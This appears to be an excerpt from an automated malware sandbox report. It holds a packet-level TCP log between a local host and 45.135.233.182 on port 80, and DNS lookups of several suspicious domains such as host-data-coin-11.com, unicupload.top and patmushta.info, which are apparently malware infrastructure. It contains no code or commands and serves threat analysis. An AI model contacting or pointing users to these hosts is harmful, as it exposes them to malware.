Jan 13, 2022 20:51:42.044564962 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.044595003 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.044601917 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.045118093 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.045169115 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.045207977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.045222044 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.045249939 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.045284986 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.045686960 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.045739889 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.045825005 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.052753925 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.052820921 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.052932024 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.058478117 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.058525085 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.058567047 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.058588028 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.058607101 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.058640003 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.108618021 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.108671904 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.108717918 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.108767033 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.108762980 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.108808994 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.109441996 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109489918 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109529018 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.109536886 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109586000 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109600067 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.109636068 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109685898 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109702110 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.109731913 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109785080 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.109792948 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.119462013 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.119522095 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.119565010 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.119576931 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.119632959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.119647026 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.166955948 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167035103 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167090893 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167119980 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.167150974 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167184114 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.167757034 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167826891 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167881966 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.167893887 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.167953014 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.168029070 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.168035984 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.168100119 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.168138981 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.168164968 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.168220043 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.168242931 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.175236940 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.175314903 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.175374985 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.175379992 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.175436974 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.175483942 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.222596884 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.222657919 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.222711086 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.222749949 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.222764015 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.222809076 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.223140955 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.223198891 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.223207951 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.224541903 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224596977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224633932 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.224647045 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224699974 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224706888 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.224750996 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224803925 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224811077 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.224869967 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224920034 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.224925041 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.232677937 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.232734919 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.232789040 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.232799053 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.232840061 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.232851028 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.280354977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280436993 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280509949 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280576944 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280623913 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.280642033 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280672073 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.280703068 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280735970 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.280771017 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280839920 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280900955 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.280906916 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.280971050 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.281013012 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.281327963 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.281383038 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.281446934 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.281471014 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.281533957 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.281620026 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.298597097 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.298666954 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.298733950 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.298793077 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.298816919 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.298862934 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.339087009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339212894 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339265108 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339318991 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.339323997 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339366913 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.339531898 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339582920 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339600086 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.339643955 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339694977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.339705944 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.340801954 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.340868950 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.340928078 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.340939999 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.340996981 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.341021061 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.341068029 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.341123104 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.341149092 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.355293989 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.355376959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.355391026 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.355429888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.355469942 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.355499983 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.396059990 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396114111 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396161079 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396214962 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396213055 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.396277905 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.396621943 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396670103 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396718979 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396723032 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.396766901 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.396787882 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.406928062 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.407004118 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.407044888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.407090902 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.407098055 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.407129049 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.407133102 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.407190084 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.407192945 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.410804033 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.410871983 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.410957098 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.411011934 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.411053896 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.411072969 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481195927 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481225014 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481251955 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481252909 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481292963 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481342077 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481559992 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481586933 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481616974 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481647968 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481667042 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481677055 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481688023 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481705904 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481736898 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481764078 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481770992 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481794119 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481823921 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481888056 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481899977 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481921911 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481952906 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.481970072 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481986046 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.481987000 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.482033014 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.537885904 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.537909985 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538002968 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538028002 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.538083076 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.538252115 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538391113 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538414001 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538431883 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538451910 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538481951 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.538522005 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.538849115 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538872957 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538887978 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538903952 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.538939953 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.539031982 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.539222956 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539268017 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539288998 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539289951 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.539310932 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539341927 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.539522886 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539545059 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539561033 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539585114 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.539674044 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.594299078 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594347954 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594388008 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594425917 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594470024 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.594511986 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.594679117 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594738007 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594772100 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.594778061 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594826937 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:42.594844103 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:42.595520973 CET	80	49852	45.135.233.182	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 13, 2022 20:50:14.577049971 CET	192.168.2.5	8.8.8.8	0xfd21	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:15.097651005 CET	192.168.2.5	8.8.8.8	0x67b8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:15.604837894 CET	192.168.2.5	8.8.8.8	0x5b2a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:16.368606091 CET	192.168.2.5	8.8.8.8	0x2fbe	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:16.568407059 CET	192.168.2.5	8.8.8.8	0x425a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:17.347769976 CET	192.168.2.5	8.8.8.8	0x2663	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:18.771472931 CET	192.168.2.5	8.8.8.8	0x3e82	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:18.969288111 CET	192.168.2.5	8.8.8.8	0x6d91	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:19.171705961 CET	192.168.2.5	8.8.8.8	0x407c	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:21.509632111 CET	192.168.2.5	8.8.8.8	0x5049	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:21.724939108 CET	192.168.2.5	8.8.8.8	0x561d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:22.292650938 CET	192.168.2.5	8.8.8.8	0x87be	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:23.315615892 CET	192.168.2.5	8.8.8.8	0x60cc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:23.627414942 CET	192.168.2.5	8.8.8.8	0x1fba	Standard query (0)	privacy-tools-for-you-780.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.195837021 CET	192.168.2.5	8.8.8.8	0xba95	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.386401892 CET	192.168.2.5	8.8.8.8	0x88f3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.631541967 CET	192.168.2.5	8.8.8.8	0x8aa	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.707587957 CET	192.168.2.5	8.8.8.8	0xe57a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.926979065 CET	192.168.2.5	8.8.8.8	0x407f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:28.139836073 CET	192.168.2.5	8.8.8.8	0x2822	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:28.369760990 CET	192.168.2.5	8.8.8.8	0xd5c8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:28.567552090 CET	192.168.2.5	8.8.8.8	0xf69b	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:31.556504011 CET	192.168.2.5	8.8.8.8	0xdbc5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:31.757889986 CET	192.168.2.5	8.8.8.8	0x3417	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:31.960659981 CET	192.168.2.5	8.8.8.8	0xde5c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:32.173810959 CET	192.168.2.5	8.8.8.8	0xb0e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:34.603390932 CET	192.168.2.5	8.8.8.8	0x2046	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:34.810184956 CET	192.168.2.5	8.8.8.8	0x8348	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.096636057 CET	192.168.2.5	8.8.8.8	0xac98	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.335197926 CET	192.168.2.5	8.8.8.8	0xcf3	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:37.140340090 CET	192.168.2.5	8.8.8.8	0xd895	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:37.333856106 CET	192.168.2.5	8.8.8.8	0xcd87	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:37.548629045 CET	192.168.2.5	8.8.8.8	0x69e3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:54.076708078 CET	192.168.2.5	8.8.8.8	0x2d8f	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:56.620975971 CET	192.168.2.5	8.8.8.8	0x3455	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.217998028 CET	192.168.2.5	8.8.8.8	0xb09d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.440074921 CET	192.168.2.5	8.8.8.8	0x552	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.692543030 CET	192.168.2.5	8.8.8.8	0xc02b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.898191929 CET	192.168.2.5	8.8.8.8	0x7c6e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:00.107970953 CET	192.168.2.5	8.8.8.8	0x89a6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:01.453991890 CET	192.168.2.5	8.8.8.8	0xf67f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:02.568372011 CET	192.168.2.5	8.8.8.8	0x1521	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.060121059 CET	192.168.2.5	8.8.8.8	0x419	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.279849052 CET	192.168.2.5	8.8.8.8	0xe98	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.501588106 CET	192.168.2.5	8.8.8.8	0xc12	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.713627100 CET	192.168.2.5	8.8.8.8	0xd038	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.943644047 CET	192.168.2.5	8.8.8.8	0x8f25	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:04.459856033 CET	192.168.2.5	8.8.8.8	0xace9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:04.658813953 CET	192.168.2.5	8.8.8.8	0x92b4	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:10.049961090 CET	192.168.2.5	8.8.8.8	0xed9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:10.255024910 CET	192.168.2.5	8.8.8.8	0x3059	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
